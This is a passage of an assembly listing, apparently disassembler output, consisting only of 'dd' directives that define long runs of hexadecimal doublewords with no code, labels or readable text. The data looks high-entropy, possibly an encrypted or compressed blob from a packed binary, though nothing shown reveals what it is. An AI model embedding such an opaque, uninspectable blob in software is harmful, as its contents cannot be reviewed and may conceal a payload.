		dd 0BC4AE684h, 336EAD03h, 4C7C7EB6h, 991FBC23h,	0CE04B17h
		dd 46AF7E23h, 5EA466C8h, 6FE40342h, 9937B7C4h, 0D801A400h
		dd 1DBD469Fh, 6170746Fh, 612E1BC4h, 2729B6A6h, 0B3D3F0F6h
		dd 58F1AEh, 7D5B471Ah, 0AA6DBF10h, 0C31196DBh, 5381996Eh
		dd 0C49CB9DAh, 0C38B7AC4h, 798EB26Eh, 452A484Ch, 20010F25h
		dd 378A326Fh, 0D290183Eh, 1F9E3B0h, 0DE0B618Fh,	58E2F186h
		dd 638A0C3Ah, 3D90EB73h, 65B9B07Bh, 0F2E692EEh,	382805F6h
		dd 7AFBDC22h, 6D2C3239h, 166E2330h, 0DBFF2E54h,	0A6538CFBh
		dd 0F82A4476h, 0C422A284h, 0D944744Eh, 42A79109h, 519A17DEh
		dd 0A44B1031h, 0D5C53118h, 547EE6D4h, 56FCF8FFh, 4EFD2275h
		dd 3D1E3C9Ch, 0F2AAFA2Ch, 49351EF3h, 9166BC2Ah,	1DDCEBA8h
		dd 6312105Eh, 509F34E2h, 1FCC4D05h, 5AA01AD3h, 0B58B5C7Eh
		dd 286481A5h, 3D3A79C8h, 25DBCCDAh, 0BD494B2h, 0C098D729h
		dd 73AC88B1h, 58D0465Fh, 42C7C48Dh, 5A1FC8CBh, 400F5C3Eh
		dd 0C1462A13h, 3A9E9440h, 0D06889F9h, 9554D057h, 0F76728A1h
		dd 6932A3E7h, 15451290h, 47004160h, 0F39BBE62h,	4DDE45ECh
		dd 2CF153BDh, 6DC68EE1h, 6F4E6F9Ch, 0F4E456DCh,	3920273Fh
		dd 0BF32549Fh, 0F5F01832h
		dd 2A7BC647h, 1E615EFBh, 43F5F2CFh, 23F130EEh, 0ABCAE563h
		dd 3FE4697h, 1C1EA8ABh,	77A0F66Ah, 2F44E5E5h, 0DE8DAD76h
		dd 8064BAE0h, 302B3AB5h, 6BF9B905h, 527C2C3Dh, 8FAF6772h
		dd 8FF9B4EAh, 0F47286D8h, 0D7F8985Ch, 5E55CFBAh, 8B21E4A2h
		dd 9FCF42BBh, 6E5F39FFh, 907280D5h, 4490B034h, 0BDA84E57h
		dd 72F5FFBh, 273CDC5h, 530A86A7h, 0A4CBA2A3h, 4844B710h
		dd 0AE0A0C73h, 84F55753h, 4DB844E3h, 172B6E8h, 6443009Eh
		dd 964E5606h, 52AC84E8h, 532AD96Fh, 31ABFEFh, 956D2C76h
		dd 0C2FABFB3h, 90043DDEh, 423C6CBDh, 0C6EDDD93h, 0DB4150BEh
		dd 4397EC78h, 0A5A6F2BDh, 0CFD0C8E6h, 0B72BC42Dh, 0BFCA7765h
		dd 0C584BD35h, 4EFABE4h, 8CEB22FBh, 354FB535h, 782C8D26h
		dd 546C314Dh, 31114E91h, 23AD87B9h, 263CA3A7h, 0DC0CC3DBh
		dd 0E8CCADE6h, 0FF2374h, 74CE6E2Fh, 0C02CA927h,	7475EBCCh
		dd 788E062Eh, 2ACA9A9Fh, 0B023AC15h, 9A5BD9C4h,	0E6D8C06Fh
		dd 72205E29h, 2D5B6079h, 74DDA835h, 3F3D4C83h, 0D8CC046Ah
		dd 32E86B4Dh, 0C94BCF30h, 0D66B4813h, 0DF79DF14h, 62203740h
		dd 33428D00h, 78F5595h,	2CD2E178h, 79005A85h, 2FA8CEA7h
		dd 0BB23D68Ah, 0FA2AE099h, 5F8CDDE4h, 0C45AB51Bh, 0F4EE2FF4h
		dd 6209B68Dh, 0AE4DCC4Fh, 0B19792D4h, 914F1FF6h, 0CEABFC65h
		dd 0F44EFB00h, 0BFEB5F7Eh, 0D7D6A33Bh, 47EE4A58h, 0A537F95Dh
		dd 0F9303397h, 58DB840Dh, 79958282h, 91201F99h,	909B0B51h
		dd 62968C4Fh, 0F7417960h, 9184109Eh, 3E08B815h,	761BFDE4h
		dd 12E8C8C8h, 0B4B379E4h, 0F279D59Dh, 0A9B0918Eh, 8AB58C26h
		dd 4694EC95h, 0EDC53B5Eh, 15858AE5h, 43F51B8Ch,	7852080Eh
		dd 0D98681Ch, 0CCC7DC12h, 6F61441Dh, 1EA9C0F9h,	24902DA6h
		dd 3E3C793Dh, 9C3EBF20h, 0D63B0E2Bh, 4A59BB0h, 0FAD3997Ah
		dd 0CA031CCFh, 0EC7A53AFh, 72E42FE3h, 1ED99D7Fh, 9A0B6D60h
		dd 0DE258254h, 9901D33Fh, 0E067CBD5h, 0C56B6B26h, 0FEA38ED5h
		dd 4476C1Bh, 96B7B7h, 8BBE66F4h, 22F3163h, 473BD3C7h, 0E09E34D7h
		dd 4CD623Eh, 0E44B0DE7h, 8FD65B0Fh, 82F434C9h, 0D0D472Ch
		dd 0CDC31270h, 0A0FC99C3h, 4F79EB48h, 0A38751F1h, 2B905DE3h
		dd 7E01E33Fh, 3B7BC10Bh, 0CDA84656h, 3FDD6075h,	5EFF8437h
		dd 7B59DC4h, 309FAF05h,	171AAAFAh, 0DD3C96F5h, 93380732h
		dd 0EDA94342h, 9CE5B73Dh, 48B05158h, 0BB098394h, 68F08D6Bh
		dd 0B5792A53h, 0B36852B4h, 31343754h, 595475DFh, 47C4D35Ch
		dd 5C683DEDh, 33B670D4h, 8DC39929h, 1056A2C7h, 7EE9FFB3h
		dd 9A963DA7h, 0CFF68F04h, 926250C4h, 75E8620h, 0B35C3BECh
		dd 6258E46h, 404A5B62h,	81423D54h, 79248CD6h, 0DE30472h
		dd 0F0C52786h, 0F4A164DEh, 0DFF3B72Ah, 0B0560619h, 33220C9Eh
		dd 19FE148Ch, 55321ABBh, 23A29E37h, 0D8B73F2Bh,	9E8799D3h
		dd 2F849B2Eh, 0E51912F2h, 4EF87083h, 5D4CF438h,	339DE327h
		dd 32A35194h, 9BED4499h, 9E55000Fh, 22C87FBEh, 2551D9Ah
		dd 0A62CBAB0h, 23D0656Eh, 0DF1ADAA5h, 342A1C9h,	0F59216D6h
		dd 0B8987C4Ch, 0FEF4EFA8h, 9AFDC363h, 7ACC9C41h, 0C1093382h
		dd 838FC15Ch, 1F9D1565h, 0C226369Bh, 1DE91B3h, 0EB5319F3h
		dd 0BAFD5BFBh, 0F4F9BCDEh, 0FCAC637Fh, 0A11215F4h, 8D768CBDh
		dd 19DC305Fh, 30F9B8CBh, 0A2573800h, 0B9C8F220h, 0CF60B643h
		dd 0C9BE7941h, 48B610FAh, 66AD1922h, 163B4C57h,	0E5D3E14Bh
		dd 52612E2Ch, 731693D2h, 5AD22E59h, 0A8866950h,	0AF56E5CAh
		dd 0B12ACC3Dh, 0CEA67851h, 0BBBAF5A0h, 0B9D5B9E6h, 0F9B32850h
		dd 263CD7F9h, 39B4B731h, 8A9C35h, 1711D16Dh, 0F2BA62F6h
		dd 0DD7EB738h, 39EAEA48h, 0EF7ED686h, 6555883Ch, 5E6A3141h
		dd 3ACE30A3h, 23719E3Dh, 0EB01B1D8h, 0C90EDC9Dh, 8F83F0B1h
		dd 5C231388h, 0EC4E18DCh, 0FB4CA88h, 920812A8h,	17484399h
		dd 70E8BC2Eh, 0F8158E19h, 2FF6AF0h, 469C53FDh, 0B00C4178h
		dd 0ED44BF5h, 945D3978h, 51B85C5Eh, 299E0954h, 0A474D186h
		dd 4FC2109Ah, 6127EAA7h, 0ADD00A95h, 0FA774835h, 1A165635h
		dd 0D7ABBC3h, 0DD32FFD5h, 0AD6A29FAh, 0A5491154h, 0F1408CD1h
		dd 5C00C6D6h, 0E438975Eh, 539F2D57h, 1E6E5C90h,	0FACDF758h
		dd 7A13AD57h, 5092BE72h, 623121CCh, 0FFD3BB51h,	587BD7C2h
		dd 8D5031E4h, 6F2A2EC9h, 62584784h, 56DDA4D5h, 6304DB24h
		dd 422954F6h, 2BEA9E70h, 0FFE9743Dh, 7AD11AF0h,	0F98BEF30h
		dd 0F0449DF1h, 0B3FFEEA6h, 19311092h, 0AC92F8D5h, 1638023h
		dd 0AFDB51F8h, 0A8960CD2h, 2C9421DCh, 66DA6AAFh, 6A06B3D8h
		dd 7BA14A0Dh, 0EA03BCDAh, 663A103h, 4A260D4Bh, 7045BEF8h
		dd 2E5DB564h, 9179EFABh, 639FCB95h, 0DC88178Fh,	56DBC1FAh
		dd 95818289h, 118C0B81h, 15245851h, 3E3830E6h, 0A640ECAh
		dd 37107609h, 846D862h,	0FA270C5Ah, 242B7F1Eh, 57204A64h
		dd 9EF981A5h, 0E5922D38h, 66DEAA7h, 0B5070DD1h,	0C74BF91Dh
		dd 0A321D6BFh, 18B0A0F0h, 441BEC32h, 72C56830h,	0E66353E8h
		dd 0D26AF797h, 0C64108A5h, 2C934B65h, 0C7130B09h, 0D3AA14C2h
		dd 904C8036h, 5F317F33h, 50F77822h, 259F9EEAh, 5E935813h
		dd 0A51F9A74h, 53BCB976h, 3DFB62EDh, 0C2F6FA12h, 0A6AB7C26h
		dd 896AB214h, 12CFE6EDh, 5519E699h, 0D01DF0BDh,	8DD9F7EDh
		dd 0C1DE7237h, 4FE256E3h, 0C2F0103Ah, 5CF54A06h, 0C9637B8Eh
		dd 0F90584ADh, 0A7A14995h, 2CB0322Fh, 0F27E415Eh, 78AC52CAh
		dd 114F8D21h, 9951923Bh, 0F009DBBBh, 2F82FAC1h,	0C287E457h
		dd 3B943528h, 7326DB9h,	67DD23ABh, 9E8522B5h, 6E3C7DE3h
		dd 6F804EB5h, 4D2CBE5Bh, 613AC805h, 0A5CF37C9h,	7F7E6883h
		dd 7A2F8F56h, 436197A0h, 0BDFF9750h, 86B1F490h,	0A1E4385h
		dd 0B92D7F12h, 45318C2Eh, 0C33E570Fh, 0B7331A8Bh, 0C32E006h
		dd 94349943h, 6EB2B595h, 8A0975D3h, 9007069Fh, 0B6D4F7C2h
		dd 4E7FC32Bh, 4F30F1E9h, 0EF154A55h, 31496782h,	0AAE5C28Fh
		dd 0C0858D20h, 0EC6DA262h, 89886872h, 804A654h,	0E3C92C77h
		dd 0CF7BB429h, 82F1918Ah, 37BECC32h, 0E236A1A1h, 0A5CF646Ch
		dd 661B53BCh, 8CEAF68Dh, 53834BDh, 0D0A8D44Dh, 0E1936DB8h
		dd 7F347D3Ch, 1EF68A3h,	56F1490Dh, 0D9893507h, 0F4AE0A74h
		dd 0BFF4849h, 37909C2Ah, 9438BE33h, 0E5D7AB33h,	0D07BAB75h
		dd 0CF57EAFAh, 0AB7C2361h, 842F150h, 0DAE3E682h, 53F85E10h
		dd 0B8E7232Ah, 0BCE164E2h, 0ABAAEAC4h, 47DC2543h, 272747A5h
		dd 7484A64Fh, 0F4599DC3h, 3B020C3Eh, 9F3C0058h,	0EBF3A638h
		dd 9F15B0D5h, 0B255EA7Fh, 8CB3CB6Dh, 0E0126FA5h, 0B6424887h
		dd 0E62BAA41h, 638AA686h, 3B1DF2BAh, 0FA2ADC9h,	0F5617824h
		dd 9248A3D0h, 4DDB5B8h,	9A61B76h, 40A80B07h, 1A9A906Ch
		dd 0BFA48EA1h, 81D0A64Fh, 0D37FC609h, 0F3C561DAh, 473ACFFEh
		dd 23D2A568h, 5CBDA76h,	0E31089Bh, 9FE8B852h, 15D116A3h
		dd 775DD085h, 0E881E1D8h, 49AD98F7h, 6BF40027h,	50F7E925h
		dd 69B50D35h, 64A35DAAh, 9C87E37Fh, 302CF1D3h, 70428159h
		dd 964B9FAh, 33ADF544h,	337B402Dh, 0DA453806h, 50837B0Bh
		dd 9CF4366Ah, 5722218Bh, 32B594C6h, 5BE2508Ah, 0D7E4A698h
		dd 746F319Ch, 467BF430h, 4B434395h, 0DB779B6Dh,	43595AEFh
		dd 67A73089h, 0AD77E150h, 2F5F78DEh, 0E564DCACh, 22270AA0h
		dd 0E1FA637Ch
		dd 7EAA31E2h, 1CD3B6F3h, 5AF047DFh, 6F31E4BEh, 5B7A6B9Ah
		dd 5DBE3723h, 4B6927D6h, 53F93553h, 1D63CA9Ch, 814349CEh
		dd 162E0476h, 36E66D35h, 64D01467h, 97B62113h, 58DE16F6h
		dd 0EB72CBB0h, 0A8D863ADh, 2EA4676Ah, 0C6349C43h, 0AE79741Fh
		dd 0BB8850C9h, 26189B4Ah, 0C9131B5Eh, 52CA4E86h, 24AB0D44h
		dd 74280888h, 0AA26DCD5h, 2C0E2D27h, 4285C6D3h,	0D74FBE0Ch
		dd 0DEC1324Ah, 2F7F4FE5h, 8BF02930h, 0CE7573B3h, 5336E2E9h
		dd 8C7BC426h, 5BB8268Dh, 7516A811h, 0B531532Ch,	432AAC85h
		dd 52FE90FEh, 1F701BA8h, 56511361h, 3E14620Dh, 41FE3345h
		dd 0A1399598h, 0EC4E3B16h, 9885296Ah, 0D183A3Ah, 0C1C9E5CDh
		dd 0DB7CCDD5h, 0DC052DABh, 599E73CDh, 0FC26D451h, 0A230731Dh
		dd 0F19A75E0h, 287F5612h, 670FFD3Eh, 35F57FF3h,	0F56FF5C6h
		dd 0FE3EFADFh, 4BE1D4CCh, 75AB988Ch, 356FE7E5h,	5CC19788h
		dd 0FF74146h, 6D6ECBD4h, 45A0B529h, 0BD322AE1h,	85FD9ADFh
		dd 1EC5034Ah, 0F838419Ch, 38358775h, 0D97E0828h, 0AD350AC6h
		dd 5585267Dh, 3C64C5FDh, 1C80535Eh, 0CF543DD9h,	0EEEBBB87h
		dd 2906F518h, 0E9BEA624h, 0F456DD2Dh, 5895ED32h, 90B3C041h
		dd 0F71A6BB7h, 12A2406Fh, 4FCBD993h, 0D6404809h, 0F6FE5B14h
		dd 3DF8F992h, 7B26F1EEh, 0D16B337Bh, 4FBCDBF0h,	9853F062h
		dd 1DA44DA7h, 74189BFAh, 290B81C1h, 1412D7B6h, 80BF8BCFh
		dd 0D57F5A07h, 95E13379h, 84781C8Ah, 0CF4622C4h, 0AD67F7h
		dd 0D10EAA70h, 94B0BDECh, 0D56F3CEFh, 7E8C0051h, 0E9E5C32Eh
		dd 0C00AAE66h, 36504C20h, 2CBE1397h, 0BE48533Ch, 96EDEA69h
		dd 2204EEF6h, 0A64E8CCEh, 0CD29D5FEh, 0BEBCE29Eh, 4B62FD82h
		dd 83AC2156h, 0BCE96797h, 1067FEA5h, 0A304B105h, 5F0B9C91h
		dd 0C8C150BCh, 77496C67h, 837FBDE0h, 0BF651677h, 61855062h
		dd 9049B8E2h, 1CA26359h, 0C55A5484h, 1C9383B0h,	23129AA4h
		dd 70BBF677h, 995695FCh, 75F0DFC2h, 0D4ADEC1Dh,	0E7355CA3h
		dd 31E317Ah, 0C3E2B973h, 0E04531DAh, 71FFD11Ch,	85BFE1A6h
		dd 33B10AA9h, 4A249EAFh, 0E1718D5Ah, 0DEFCFB5Eh, 0FE0B1C9Ch
		dd 6C5213A7h, 45F7395Eh, 353E0248h, 73785FBAh, 209F456Ah
		dd 9895B668h, 0EB17C331h, 36779F59h, 0B6199DBEh, 0E185CD22h
		dd 16EE0B8Eh, 8C3C4734h, 4732A3B1h, 0E6988183h,	292EB070h
		dd 0A5DEEDA8h, 47634444h, 0EFE6A459h, 0B6A38FAh, 0E06FC89Eh
		dd 4FE712D9h, 0A048E90h, 947C2E36h, 0D3878B70h,	0A9DC9A08h
		dd 2C0890DAh, 0EBA0DFC9h, 0F456D3AFh, 0C9315CB7h, 0FB60F11Fh
		dd 2CCA687Eh, 55263D0Fh, 0C24B32DAh, 0A274E1Fh,	28F2499Fh
		dd 5A996755h, 3C1410E3h, 933E47EEh, 3BAE4975h, 0FDAA808Fh
		dd 0EB821DE0h, 7C1B01ADh, 127AB35Ch, 33F195h, 53F881FAh
		dd 0A035BB0h, 653598FAh, 0B6C1DDAh, 81A22CF2h, 2E41F033h
		dd 0DCA75F79h, 709A50D4h, 245C8F65h, 0E328A167h, 9C43FFC7h
		dd 33A96579h, 5E948FAEh, 0D89B4809h, 65F839Eh, 1BCD26CCh
		dd 78AE4C1Bh, 400730E8h, 0E9580C0Eh, 0AF594FAh,	2A3CD6Ch
		dd 26EEC26h, 0A9498628h, 0ED99AF03h, 0B0D69708h, 2021Ch
		dd 0AA59D412h, 3F5BD654h, 130D8802h, 5BF172BAh,	52ABE7E1h
		dd 526929EEh, 95CF5351h, 432BC1FFh, 0FD3FCAADh,	775CF463h
		dd 4568B905h, 0EA4C045Bh, 51F90F74h, 9396C4E6h,	653AA88Ah
		dd 160AEC04h, 1B312246h, 2D7B57A2h, 8D9F474Bh, 7C3A68F5h
		dd 64B8C516h, 5174F268h, 0D0E20000h, 0BC4AB040h, 2B6ABE05h
		dd 0EB18FAF3h, 273D4390h, 2E648127h, 0F421DBB3h, 242D736Fh
		dd 1362EAB8h, 0BFD76B4Bh, 35049B0Fh, 36A76CC5h,	59809601h
		dd 0C26A87F4h, 9CD15182h, 0CD2C85DAh, 5242FC60h, 2B813CDEh
		dd 0DBB15569h, 0B3F0CFD6h, 32E7C347h, 7D110259h, 1615E9A7h
		dd 0F6408DBDh, 3628C90Fh, 8DDEFB82h, 70DAEBACh,	55BAF661h
		dd 159E8A8Eh, 690D1586h, 8BFC32Ch, 94BD86DFh, 0D81AB1BCh
		dd 9862C78Dh, 4AA1E975h, 834908A1h, 99F778C4h, 0E81AFE35h
		dd 0A42A6868h, 0A8F5690Ah, 8D18930Ah, 99C64636h, 3D020ACBh
		dd 0DC1997D9h, 5715D09h, 5DD31ACEh, 0C9648DB7h,	3CBCBC35h
		dd 0B13510C2h, 71F9E52Dh, 734F1E16h, 1BFC20FEh,	47EE9F87h
		dd 0C232B5EBh, 29410CDEh, 84100BADh, 82E6DCA6h,	0A850B236h
		dd 7CA9EB20h, 0C59A4EBDh, 0A0CB7FF6h, 0A43276BFh, 689F6536h
		dd 0CB4C7CD2h, 3413931Ch, 0DF63FD8Ch, 0D2BECB9Fh, 4D8E626Fh
		dd 2919A6D9h, 138259BFh, 341C146Ah, 0EB00AF63h,	6403D4CFh
		dd 14F87365h, 0F2EEB4CBh, 7256F9BEh, 0B2E00BAh,	0F9D6A15h
		dd 5AF1F789h, 34873ACDh, 1D72400Fh, 482CADD3h, 969D7FABh
		dd 940CA864h, 0B6A41E2Fh, 724581BEh, 5646B0EAh,	9ED47540h
		dd 0D8091422h, 0ADA8DA8Bh, 0B4297A86h, 91493B3Bh, 0D20D1F0Fh
		dd 3B0916ABh, 0FCC6E530h, 4F909871h, 0C3B7F621h, 0CBDEAEB8h
		dd 0A38AA12Eh, 5F3BEC22h, 0F389465Ch, 174B85A8h, 83055E3Ah
		dd 455569E0h, 49214B2h,	0B46224EBh, 7A39E346h, 0CC127D1Bh
		dd 30992229h, 63D8DABFh, 0B5FE8D7Bh, 97AA1A06h,	291CEB45h
		dd 2B2C5FB1h, 0CC80D9E2h, 0F0CC264Dh, 58BEC3EBh, 0CAE7042h
		dd 7BEC0226h, 0AE678FF5h, 5EBDEE63h, 7412736h, 7E40987Ah
		dd 0CF92C1C8h, 476A3B26h, 0A3792286h, 824C22FEh, 2B1285ACh
		dd 0E6C7C449h, 43EF3740h, 53024117h, 7079EE26h,	0E4F6220Dh
		dd 0D6FEFBC2h, 5713C655h, 5B6005D0h, 84A088F6h,	94BB7A6Fh
		dd 0D927332h, 54409E48h, 0ED36524Ch, 0BEE56E2Bh, 11664B1Ch
		dd 0C6CDE1E3h, 0E14A0922h, 5A924A26h, 139D260Ch, 44F08955h
		dd 221BE9C0h, 5389C7D9h, 0DBE6E070h, 254BFF75h,	98340627h
		dd 0C647BCDDh, 0E8BAC837h, 670F6E86h, 9DBF582Dh, 0A67B7242h
		dd 0D2F74B93h, 0F76FF2B8h, 6ACAB7BDh, 0AA78821Fh, 6F53176Ch
		dd 0A77C14Dh, 583CE3ABh, 0C31C210Dh, 9F7AA0DCh,	2237CB54h
		dd 0C361709h, 3DCE7510h, 8482E3F1h, 4EFBC941h, 1DD8E1A4h
		dd 3D1541BCh, 0ED43AEAh, 0C75CDB90h, 7FE1FB40h,	224E4AD6h
		dd 0CC33D9BDh, 4168FFBCh, 314932DFh, 0A35CE7E4h, 0CF7DB74Ch
		dd 15050C81h, 0D0D48A58h, 98E4C0DFh, 0C00C1A5Dh, 0CBFA0B63h
		dd 3E70056h, 9954A0BCh,	8B675581h, 7675D7B4h, 0A6B307C0h
		dd 58665137h, 0A661EF70h, 7AFD36CAh, 0A8761EBBh, 0B1891318h
		dd 32C3EC85h, 0B58D3859h, 22F675D7h, 0DC8CE267h, 4578EAB8h
		dd 1ED79163h, 0C4491FECh, 0A490EE27h, 76E2D64Fh, 9D5A39F9h
		dd 2830B492h, 68C30164h, 5611EC0Dh, 0B2994334h,	35348BFDh
		dd 0A72F0E53h, 75F9E406h, 8EE72E2Eh, 8B4FE1B4h,	0D3CE9931h
		dd 0D97C8137h, 11BB46D2h, 40B05998h, 48CA3F8Dh,	3E684C7Fh
		dd 3B06C78Bh, 1CCDA6FEh, 0AF1B2DA2h, 0A8494AD8h, 0BD26EE19h
		dd 0CD7A275Ah, 0F4AFE918h, 0B9B11B0Fh, 7894BF7Ch, 0A39402EFh
		dd 3974D48Fh, 947DC0B7h, 1D70764Fh, 50F0D6Ch, 0A411D877h
		dd 1B1B6554h, 350BBC64h, 0F978C171h, 0D4BC8489h, 57ED05BCh
		dd 0FD0A7996h, 9F12BBFDh, 0F05C8091h, 6915894Ah, 0C32B4DBFh
		dd 0B2B82C76h, 560F4959h, 145DA766h, 0B4214B76h, 0AFD49E3h
		dd 2BBF3275h, 2AB7EA28h, 0F3FC14A4h, 24C6FC2Eh,	3AF90B03h
		dd 0ED543AC5h, 9C500FD2h, 7C3ECB08h, 45E029D1h,	4F34AEA9h
		dd 6EC6F149h, 28C1753h,	0FC1DB36Bh, 0FD2B2365h,	8B35079Fh
		dd 0CA9DDC7Ch, 0E659718Eh
		dd 33A19A0Eh, 0FDBF5D94h, 0E35C312Dh, 61044D7h,	2BE0EF59h
		dd 558A2A7Fh, 766956D3h, 0E9E5649h, 1D7D43B0h, 945811EFh
		dd 1F5545CFh, 7242D236h, 473E0B89h, 297288DFh, 0FB770022h
		dd 0E77280E3h, 0DF29D53Bh, 32F79715h, 0F621FEEBh, 0B9EC9FBBh
		dd 0DBE31D4Fh, 0A885B39Ch, 246B8F6Eh, 0BA16730Eh, 0DBD2FE2Eh
		dd 0CF69E7CEh, 1B729B4Dh, 483A5204h, 0A40C7E0Eh, 56E336B5h
		dd 56504858h, 54A737A0h, 0EF3CFFC9h, 0F91AD202h, 0B6DD0EACh
		dd 4958B5F2h, 40F41DF9h, 0D9681804h, 0D1A2CFAFh, 0E5D3AFEFh
		dd 4E852E08h, 0DBD5A64Bh, 0F09313EDh, 62030970h, 473F7620h
		dd 48F53B06h, 0A64BD69Ah, 73D53BF2h, 24F69E12h,	0D7724DA6h
		dd 503C2Eh, 0B08846Fh, 0C4B36423h, 0E214E6E9h, 641F0DF7h
		dd 88496EC0h, 0C24F1432h, 0FA75A2B2h, 4B251B86h, 5DB83D41h
		dd 0BF11F4A1h, 0E6FADD41h, 7DB0EC90h, 0ED46DC78h, 11D11E28h
		dd 0B75F6125h, 0F4800A25h, 0E51F2524h, 93596CD4h, 0E7F718F6h
		dd 8232ABC7h, 1DF832B6h, 3B902FFBh, 6A77141Bh, 0A83E98Fh
		dd 36753B07h, 5C2B2779h, 0E03EE837h, 8A6B56EDh,	0DE61104Bh
		dd 61763AF8h, 1FC25FA1h, 6183C217h, 0E1276F3Ah,	0F4611028h
		dd 6E57B58Dh, 0B7429F54h, 0DEEFD7D5h, 226120AEh, 3A5EE9AEh
		dd 6AD1B5C4h, 7EFFF21Eh, 802B0E0Ah, 1EE18BCCh, 6804B647h
		dd 93438EA1h, 5FA0DC4Eh, 961449CFh, 0E74EA914h,	99FFA15Dh
		dd 0A64D6C10h, 0ECC52BF6h, 19527E79h, 0AFA2F167h, 77DB5AEBh
		dd 65EF441h, 0F40C0C88h, 0AD9C3655h, 0F319B8D6h, 9DE49DEEh
		dd 5E35D28h, 2639EB1Dh,	43A96345h, 0A9408A3Ch, 0E5A14B4Eh
		dd 80FC9334h, 0E586A08Eh, 0F0742B35h, 1D46450Bh, 0DD3393AFh
		dd 0C0B2C0A6h, 0E33D0431h, 4AE74CC3h, 2E8CE8F4h, 0D5231CCBh
		dd 0E4D8DF1Ch, 418553A3h, 0D7E8F7FAh, 5F7B7132h, 0B912B389h
		dd 0EAC1E2E7h, 170E4AFh, 0C5533402h, 70B352BBh,	13BB8D91h
		dd 96096DCCh, 0F36E7A4Ch, 6BAFEFD0h, 892B0E93h,	3425703Bh
		dd 57F0D6B3h, 3BB8ED20h, 0FB0A743Ah, 2807D8FBh,	7D54B2B1h
		dd 6DB35E63h, 0A4637F42h, 0B2BC6E74h, 0AEEFFC7Bh, 41320018h
		dd 34187212h, 0AE8E3E08h, 8046FB95h, 7D284DDCh,	5EDDB3C9h
		dd 8CD3361Eh, 98DD5335h, 0CDEE8B7Ch, 3C0F1236h,	0EA7F0E4Ch
		dd 25067885h, 40257F27h, 45E744B1h, 521A4E28h, 0B9A0059Dh
		dd 927AB03Ch, 58446414h, 1AB3583h, 2112D5BCh, 6CDC0C41h
		dd 0E22602F6h, 5114A85Eh, 18279FD1h, 401E04D9h,	0BB3B83FAh
		dd 86E39E26h, 0F45DAF1Fh, 668D368Bh, 30975167h,	62D92B74h
		dd 4BBB525Eh, 28FAC287h, 556598B4h, 0E76163DDh,	0BEE16515h
		dd 5736076Ch, 0C15299ACh, 3659347Eh, 0BBC4A47Ah, 0CF3D42Bh
		dd 71CF08B4h, 65798F3Dh, 0FC05B476h, 3434933Dh,	0EAA5F207h
		dd 23F9B319h, 41991A19h, 7C4B8F8Bh, 0F0D293C8h,	7042EF1Fh
		dd 0B464F702h, 0B85D9A5Ch, 53101929h, 0FBB4A813h, 76CBAF7Ch
		dd 1F35CBACh, 0E792373h, 0F98BDAE6h, 698E949Fh,	644B3474h
		dd 10D7DA34h, 0FBA36B59h, 55B39C9Fh, 0EC5E697Dh, 575F392Eh
		dd 6B4527DEh, 0DCEB2355h, 0DDA364C3h, 84943961h, 0EE9106h
		dd 26FAE343h, 0C3FCC0F9h, 0F97E444h, 512C971Eh,	0D2F0E470h
		dd 0F55102DEh, 6121F8BFh, 0F07339CDh, 3A9A99FCh, 62685575h
		dd 3CDC8FA6h, 120039C1h, 3DC00A9Fh, 0D6A968CFh,	3A167DE9h
		dd 0CAE8D8Dh, 934750C5h, 0BC0E43C5h, 74E03649h,	0B4B26D53h
		dd 830C5652h, 7D36166Dh, 13C3B9BCh, 0E849C329h,	0A16C9370h
		dd 553A5B59h, 38A1C265h, 4B2CC8B9h, 4DE5CAF5h, 0BCD453B6h
		dd 6A4AEFC0h, 0A2FFBD81h, 8424DEAAh, 1359918Bh,	6284A8D9h
		dd 0A657E6D5h, 0CF20461Dh, 0E6A8990h, 175EEF82h, 0DC25D235h
		dd 0A7E0E543h, 26942129h, 3D1C0721h, 780AD930h,	626C1581h
		dd 0BB2A05A1h, 0CC271317h, 5D236FB6h, 0EEE5B5C8h, 5243BA95h
		dd 6C2F30DEh, 12E4B967h, 0DB43CB6Eh, 0FD4E8694h, 9671BBF5h
		dd 7BA3FD5Ch, 0D7D91238h, 47B48ACAh, 7DE468A2h,	0CAB30C73h
		dd 62E3DCCFh, 1C1AF34h,	71E328B6h, 1259B300h, 0DF58CBCEh
		dd 0F8FE2A8Eh, 12030193h, 0E0D341CCh, 0DAE87452h, 0B98386F2h
		dd 718E2405h, 831BC77Fh, 8E3C3872h, 0FAF595F4h,	75A65EA9h
		dd 6304A874h, 8081D349h, 2C641EF1h, 8555B698h, 98906542h
		dd 8589CBEh, 991A8C6Eh,	0BA000DFh, 0A2B8117h, 0C7BA472Fh
		dd 1A60631Dh, 95BF6FB9h, 0BF12D828h, 2FFA0A8Ah,	0C279C6Ch
		dd 52B9E3A2h, 0F5F57030h, 62E2C318h, 536B291Dh,	66BA2280h
		dd 4C52959Ch, 0CDA94A7h, 7302C630h, 0C2227944h,	7B3D513h
		dd 0EE652465h, 0AA76B84h, 0A9560ECFh, 338B26CDh, 4F362CBAh
		dd 4044E2EFh, 0C993550h, 0C2F017BBh, 244633F5h,	0C718ACA8h
		dd 10053C83h, 0A2F18092h, 9A4602BFh, 901AB475h,	58B6CC36h
		dd 0D7315686h, 68DE174Ch, 0B844DB56h, 68AD6AFFh, 4C2B9C80h
		dd 44347Bh, 0FE83C0EBh,	0BC350F59h, 0C1720EAFh,	9E8FB061h
		dd 3753C000h, 431C0FE9h, 6B522A6Ah, 73217071h, 6796DCAh
		dd 8C8B3724h, 0A6AF81h,	9C162D44h, 61BBC892h, 508E807Dh
		dd 1E96382Eh, 9D7AC8F2h, 2B996A2Dh, 0D2A018E8h,	0AD64D7B8h
		dd 6916500Bh, 82842A65h, 4E707275h, 0B046E148h,	33BF5340h
		dd 6BF22130h, 1FCD4F53h, 0C0C11C6Fh, 37C9060Ah,	86477C13h
		dd 0AFC6E6D4h, 1397EA60h, 99557F56h, 871863E6h,	0D1344A3Ch
		dd 4718ED8h, 3D33E25Eh,	71E54D75h, 0E24378C5h, 0E8B91FF5h
		dd 0EF06BEC7h, 2ACC1285h, 1C741887h, 0FB1D5269h, 4B6F74Ah
		dd 3934EFBBh, 0D57211CDh, 32547263h, 844D5297h,	0ADA9CFC3h
		dd 7D4FCDB2h, 353A13FAh, 3F9DFC3Ch, 3328DAB4h, 0A599B8FBh
		dd 0CFF3BC7Eh, 251114B2h, 5074F936h, 0D50D11E2h, 41B23EC5h
		dd 0B6D6FFEDh, 0FC6F413Bh, 0A53B56BAh, 0FA1FAF6Fh, 0F9133A4Ch
		dd 559733DFh, 8308AE62h, 1F386420h, 0B4BC0A74h,	84C965B1h
		dd 8C49B9F3h, 844310CDh, 49D44C20h, 0D19F77D4h,	2E25288h
